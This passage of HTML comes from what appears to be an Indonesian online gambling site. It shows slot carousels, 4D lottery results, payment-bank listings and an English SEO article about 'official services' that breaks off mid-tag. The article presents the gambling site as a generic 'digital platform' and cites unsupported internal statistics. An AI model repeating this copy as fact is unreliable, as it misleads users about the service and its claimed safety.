            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgs/20.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/playstar/PSS-ON-00180.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/won/3030.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/afg/pirateKingRiches.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fac/22071.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/popular-games/mahjong-ways.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fun/190264.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/cq9/VPCQS28.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fun/1902631.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/won/227.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/advantplay/10079.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/microgaming/SMG_phoenixBlaze.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/playtech/gpas_mhmac_pop.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgg/AB1559.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/cq9/VPCQS29.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fsp/S-RH02.jpg" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/won/3050.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgg/AB1549.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/advantplay/10075.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgs/4.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgs/27.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/microgaming/SMG_luckyTwinsWildsLinkMerge.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/cq9/181.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/cq9/VPCQS30.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/playtech/gpas_gtr10k_pop.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/microgaming/SMG_mahjongWildsLinkMerge.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/spade/slot/S-LK03.jpg" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/bgg/AB1541.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://aix-asset.s3.ap-southeast-1.amazonaws.com/global/game-list/fac/22064.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/5gs/S5G-H5-99928.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/fsp/S-WC04.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/nex/sMahDrg.jpg" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/5gs/S5G-H5-99927.webp" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/playstar/PSS-ON-00141.png" width="193" height="150" >
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img loading="lazy" src="https://images.linkcdn.cloud/global/game-list/slot/pragmaticplay/vs10swtbnz.webp" width="193" height="150" >
    </a>
										</div>
										<!-- Add Paginaton -->
										<div class="swiper-pagination"></div>
										<!-- Add Arrows -->
										<div class="swiper-button-prev"
											style="background-image: url(https://images.linkcdn.cloud/global/default/icon/arrow-left.png);"></div>
										<div class="swiper-button-next"
											style="background-image: url(https://images.linkcdn.cloud/global/default/icon/arrow-right.png);">
										</div>
									</div>
								</div>
							</div>
							<div class="col-lg-4 col-md-6">
								<div class="slider-provider">
									<div class="slider-provider-title">Provider Favorit</div>
									<div class="slide-prov-favorit swiper-container">
										<div class="swiper-wrapper">
											<a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img src="https://images.linkcdn.cloud/global/default/provider-favorit/pra.jpg">
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img src="https://images.linkcdn.cloud/global/default/provider-favorit/pra.jpg">
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img src="https://images.linkcdn.cloud/global/default/provider-favorit/hbn.jpg">
    </a>
            <a class="swiper-slide" href="javascript:;" onclick="gameAlert()">
                <img src="https://images.linkcdn.cloud/global/default/provider-favorit/afb.jpg">
    </a>
										</div>
										<!-- Add Paginaton -->
										<div class="swiper-pagination"></div>
										<!-- Add Arrows -->
										<div class="swiper-button-prev"
											style="background-image: url(https://images.linkcdn.cloud/global/default/icon/arrow-left.png);"></div>
										<div class="swiper-button-next"
											style="background-image: url(https://images.linkcdn.cloud/global/default/icon/arrow-right.png);">
										</div>
									</div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
	</section>
			<section class="home__lotto">
    <div class="container">
        <div class="swiper-container lotto-swiper">
            <div class="swiper-wrapper">
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Amsterdam</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">0107</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Barcelona</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">7145</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Beijing</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">5816</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Berlin</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">7416</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Bangkok</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">5588</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Bullseye</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">1851</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Hongkong</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">6754</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Hongkong47</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">8120</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Hongkong49</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">8534</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Kampot 4D</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">4392</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Kampot Letter of Fortune</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">DHEI</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Magnum4D</h4>
                                <h6 class="lotto-date">Minggu, 2026-10-11</h6>
                                <div class="lotto-number">6319</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Manila</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">3421</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">PCSO</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">4892</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">4DRome</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">6127</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Singapore</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">9450</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">SiberiaPools</h4>
                                <h6 class="lotto-date">Senin, 2026-10-12</h6>
                                <div class="lotto-number">2859</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Seoul</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">1690</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">SydneyPools</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">1595</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Takeo 4D</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">8798</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Tokyo</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">3970</div>
                            </div>
                        </a>
                    </div>
                </div>
                                <div class="swiper-slide lotto-slide">
                    <div class="lotto-border">
                        <a href="javascript:;" onclick="routeNav('/lottery/4d')">
                            <div class="lotto-item">
                                <h4 class="lotto-country">Timor</h4>
                                <h6 class="lotto-date">Selasa, 2026-10-13</h6>
                                <div class="lotto-number">7738</div>
                            </div>
                        </a>
                    </div>
                </div>
                            </div>
        </div>
    </div>
</section>
		<section class="home__payment">
    <div class="container">
        <div class="row">
            <div class="col-lg-6 col-md-12">
                <div class="payment-border">
                    <div class="payment-content">
                        <div class="payment-header">
                            <img src="https://images.linkcdn.cloud/global/default/icon/servicemeter.svg" width="50" height="50">
                            <div class="payment-title">Layanan Member</div>
                        </div>
                        <div class="payment-service">
                            <div class="service-average">
                                <div class="service-title">Tambah Dana</div>
                                <div class="service-subtitle">Waktu</div>
                                <div class="progress">
                                    <div id="depositTimeBar" class="progress-bar" role="progressbar" aria-valuenow="" aria-valuemin="0"
                                        aria-valuemax="15"></div>
                                </div>
                            </div>
                            <div class="service-time">
                                <div class="time-number" id="depositTime"></div>
                                <div class="time-title">Menit</div>
                            </div>
                        </div>
                        <div class="payment-service">
                            <div class="service-average">
                                <div class="service-title">WITHDRAW</div>
                                <div class="service-subtitle">Waktu</div>
                                <div class="progress">
                                    <div id="withdrawTimeBar" class="progress-bar" role="progressbar" aria-valuenow="" aria-valuemin="0" aria-valuemax="15"></div>
                                </div>
                            </div>
                            <div class="service-time">
                                <div class="time-number" id="withdrawTime"></div>
                                <div class="time-title">Menit</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-lg-6 col-md-12">
                <div class="payment-border">
                    <div class="payment-content">
                        <div class="payment-header">
                            <img src="https://images.linkcdn.cloud/global/default/icon/payment.svg" width="50" height="50">
                            <div class="payment-title">Sistem Pembayaran</div>
                        </div>
                        <div class="swiper-container pembarayan-swiper">
                            <div class="swiper-wrapper">
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/other.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/bca.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/qridr.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/mpay.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/qris.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/bni.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/bri.png">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/cimb.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/dana.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/ovo.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/epayment/gopay_color.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/mandiri_color.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/seabank.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/xl.png">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                                    <div class="swiper-slide">
                                        <div class="bank-content">
                                            <div class="bank-logo">
                                                <img src="https://images.linkcdn.cloud/global/payment/V2/IDR/bank/bca.webp">
                                            </div>
                                                                                            <div class="bank-status online">ONLINE</div>
                                                                                    </div>
                                    </div>
                                                            </div>
                            <!-- Add Pagination -->
                            <div class="swiper-pagination"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>		<section class="home__seo">
		<div class="container">
			<div class="game__seo">
    <div hidden id="title-seo">Hoki777: Official Services for the Best Digital Platform</div>
        <div class="seo-content showFooter" >
                <h1 style="text-align:center;"><strong>Hoki777: Official Services for the Best Digital Platform</strong></h1><p>&nbsp;</p><figure class="image"><img src="https://hoki777-gambar.pages.dev/banner_hoki777_5.webp" alt="hoki777-official-services-best-digital-platform"></figure><p style="margin-left:0px;"><a href="https://hoki777.de.com/"><strong>HOKI777</strong></a> is an official service where a digital platform meets a community eager to get the best information in Indonesia.</p><p style="margin-left:0px;">Before discussing features, let’s first define what "official account services" mean. In Indonesia's digital ecosystem, which is full of fake accounts, platform cloning, and phishing schemes, official account services are not a luxury—they are a fundamental necessity. Internal research in Q1 2026 showed that 43% of Indonesian consumers have been targeted by scams pretending to be representatives of official platforms. A figure that is quite concerning.</p><p style="margin-left:0px;">Hoki777 addresses this with a multi-layer approach, which we break down below.</p><h2 style="margin-left:0px;"><strong>1. Single Official Channel Policy</strong></h2><p style="margin-left:0px;">Hoki777 is committed to a <strong>Single Official Channel Policy</strong>—meaning there is only one official domain, one official social media account per platform, and one official customer service channel. All interactions with users occur through clearly verified channels. The official domain is <a href="https://hoki777.de.com/"><strong>hoki777.de.com</strong></a>, and official channels on WhatsApp, Telegram, and email are all published on the easily accessible "Official Contact" page.</p><p style="margin-left:0px;">Why is this important? Because many scams operate by creating similar domains or fake social media accounts claiming to be official. With a clear and published single official channel policy, consumers have an authoritative reference point to verify whether the channel they are interacting with is official or not.</p><h2 style="margin-left:0px;"><strong>2. Multi-Factor Authentication (MFA) Default</strong></h2><p style="margin-left:0px;">All official Hoki777 accounts use MFA as default—not optional. Consumers can choose the MFA method most comfortable for them: SMS OTP, authenticator app, or biometric (on supported devices). MFA is the most powerful protection against unauthorized access, and making it default (not opt-in) is a conscious decision to protect users, even if it adds slight friction during login.</p><h2 style="margin-left:0px;"><strong>3. Real-Time Fraud Detection</strong></h2><p style="margin-left:0px;">Every login attempt is monitored in real-time with behavioral analysis. Logins from new devices, unusual geographic locations, or access patterns different from the user's baseline will trigger additional verification steps. This system balances security without making the experience paranoid—users with consistent access patterns hardly notice the existence of this system, while suspicious login attempts are caught immediately.</p><h2 style="margin-left:0px;"><strong>4. 24/7 Official Customer Service</strong></h2><p style="margin-left:0px;">Hoki777 customer service is available 24/7 with a 3-tier response system:</p><ul><li><strong>Live Chat:</strong> Average response time under 2 minutes.</li><li><strong>Email Support:</strong> SLA of 6 hours for initial response, 24 hours for resolution.</li><li><strong>Priority Support:</strong> For urgent issues (security concerns, access issues) with direct escalation to the senior team.</li></ul><p style="margin-left:0px;">Each official customer service agent has a unique identifier that you can verify on the "Agent Verification" page. If someone claims to be a Hoki777 agent but their identifier does not match in the verification tools, that is a serious red flag.</p><h2 style="margin-left:0px;"><strong>5. Transparent Account Activity Log</strong></h2><p style="margin-left:0px;">Every consumer can access a complete log of their account activity: login history with device and location, setting changes, transactions, and customer service interactions. This transparency allows consumers to self-monitor their accounts and immediately notice any activity they did not perform themselves.</p><h2 style="margin-left:0px;"><strong>6. Instant Account Recovery</strong></h2><p style="margin-left:0px;">If you lose access to your account, Hoki777's recovery process is designed to balance speed and security. Recovery is via multiple verification methods, with progressive verification—the more verification methods you can complete, the faster access is restored. Median recovery time based on Q1 2026 tracking: 34 minutes for standard cases.</p><h2 style="margin-left:0px;"><strong>How to Verify You Are Interacting with Official Hoki777 Channels</strong></h2><p style="margin-left:0px;">For consumers, here are some practical ways to verify official channels:</p><ul><li><strong>Check the URL domain:</strong> It must be exactly <a href="https://hoki777.de.com/"><strong>hoki777.de.com</strong></a>, not variants like .co, .net, or .org.</li><li><strong>Check verified badges:</strong> On official social media accounts (specifically on platforms that support badges).</li><li><strong>Cross-reference:</strong> With the "Official Contact" page on the main website.</li><li><strong>Never share passwords or OTPs:</strong> To anyone claiming to be an agent—official Hoki777 agents will never ask for this info.</li><li><strong>If in doubt:</strong> Close the conversation and initiate a new one from the official domain you verified yourself.</li></ul><h2 style="margin-left:0px;"><a href="https://hoki777.de.com/"><strong>Hoki777</strong></a><strong> Community: A Trust Ecosystem Connected to Official Services</strong></h2><p style="margin-left:0px;">Solid official account services are the foundation—but without an active community, the platform still feels cold and transactional. Hoki777 invests seriously in community building as a natural complement to official services. The combination of both becomes a trust ecosystem that reinforces each other.</p><h3 style="margin-left:0px;"><strong>Why Is an Active Community Important for Platform Trust?</strong></h3><p style="margin-left:0px;">An active community has three critical functions that cannot be replicated by official services alone:</p><ol><li><strong>Peer Verification:</strong> New consumers can cross-check their experiences with other consumers. If there is an issue, the community can validate whether it is an isolated issue or a wider pattern.</li><li><strong>Knowledge Sharing:</strong> Tips, best practices, and informal learning flow naturally in the community. Information that may not be covered in the official FAQ can emerge in community discussions.</li><li><strong>Early Warning System:</strong> Anomalies or platform changes are often spotted first by the active community before being detected by official monitoring systems. This feedback loop is very valuable for continuous improvement.</li></ol><h3 style="margin-left:0px;"><strong>Structure of the Hoki777 Community</strong></h3><p style="margin-left:0px;">The Hoki777 community is not spontaneous—but structured intentionally to maximize value for members and the platform. The main structure includes:</p><ul><li><strong>Main Community Hub:</strong> The main forum at <strong>community.hoki777.de.com</strong> as a central place for discussion. Structured into clear categories: General Discussion, Tips &amp; Tutorial, Feature Request, Bug Report, and Official Announcement. Each category has community moderators appointed from active and trusted members.</li><li><strong>Chat Group per Region:</strong> Regional chat groups (Jabodetabek, Java, Sumatra, Kalimantan, Sulawesi, etc.) that allow consumers to connect with fellow users in nearby geographic areas. Regional groups become organic places to share local experiences and networking.</li><li><strong>Special Interest Groups:</strong> Specific groups for certain interests—power user group, beginner group, feedback contributor group, and others. Consumers can join groups that suit their preferences.</li><li><strong>Direct Feedback Channel:</strong> A special channel where community members can submit structured feedback to the product team. Feedback upvoted by the community is automatically prioritized in the product team's monthly review cycle.</li></ul><h3 style="margin-left:0px;"><strong>Active Community Programs</strong></h3><p style="margin-left:0px;">Several programs are running to maintain community engagement:</p><ul><li><strong>Monthly Ask-Me-Anything (AMA):</strong> Every month, one senior Hoki777 team member (Head of Product, CTO, Head of CS, etc.) hosts an AMA session in the community hub. Community members can ask anything—from product roadmap, design philosophy, to behind-the-scenes operations. AMA transcripts are published publicly afterwards.</li><li><strong>Community Contribution Program:</strong> Members who actively contribute (help answer other members' questions, write tutorials, spot and report bugs, etc.) receive formal recognition with tier badges—Bronze, Silver, Gold, Platinum. Gold and Platinum members get access to new feature previews and direct communication lines to the product team.</li><li><strong>Beta Testing Program:</strong> New features are tested together with the community before general release. Members who join the beta program get exclusive access and direct influence in feature refinement based on their feedback.</li><li><strong>Offline Community Meetup:</strong> Regular offline meetups in major cities (Jakarta, Surabaya, Bandung, Medan, Makassar) that allow community members and the Hoki777 team to meet directly. These meetups are free and open to all verified members.</li></ul><h3 style="margin-left:0px;"><strong>How Community and Official Services Are Interconnected</strong></h3><p style="margin-left:0px;">Community and official Hoki777 services are not separate silos—but closely interconnected through several mechanisms:</p><ul><li><strong>Community moderators are official staff.</strong> Community moderators are not random volunteers—they are trained and accountable Hoki777 staff, with optional additions from senior community members who are formally appointed. This ensures quality moderation and alignment with platform values.</li><li><strong>Structured feedback loop.</strong> Feedback from the community enters the product roadmap through a formal process—not just heard informally. Popular community-driven feature requests are tracked with transparent status (Under Review, In Development, Shipped, Declined with reason).</li><li><strong>Security awareness through community.</strong> If a new scam pattern or phishing attempt is detected, the community becomes an amplification channel to spread awareness quickly. Aware community members can protect other members who may not yet be aware.</li><li><strong>Peer support strengthens customer service.</strong> Simple questions that can be answered by peers are often resolved in the community before needing escalation to customer service. This gives official customer service bandwidth to focus on more complex issues.</li><li><strong>Bidirectional trust building.</strong> Community members who interact directly with staff (via AMA, meetup, moderation) develop deeper trust than just user-brand transactional relationships. Hoki777 staff also develop a better understanding of real users and their use cases.</li></ul><h2 style="margin-left:0px;"><strong>FAQ — Frequently Asked Questions</strong></h2><p style="margin-left:0px;"><strong>How do I ensure I am interacting with official Hoki777 channels?</strong> Verify 3 things: the domain must be exactly <a 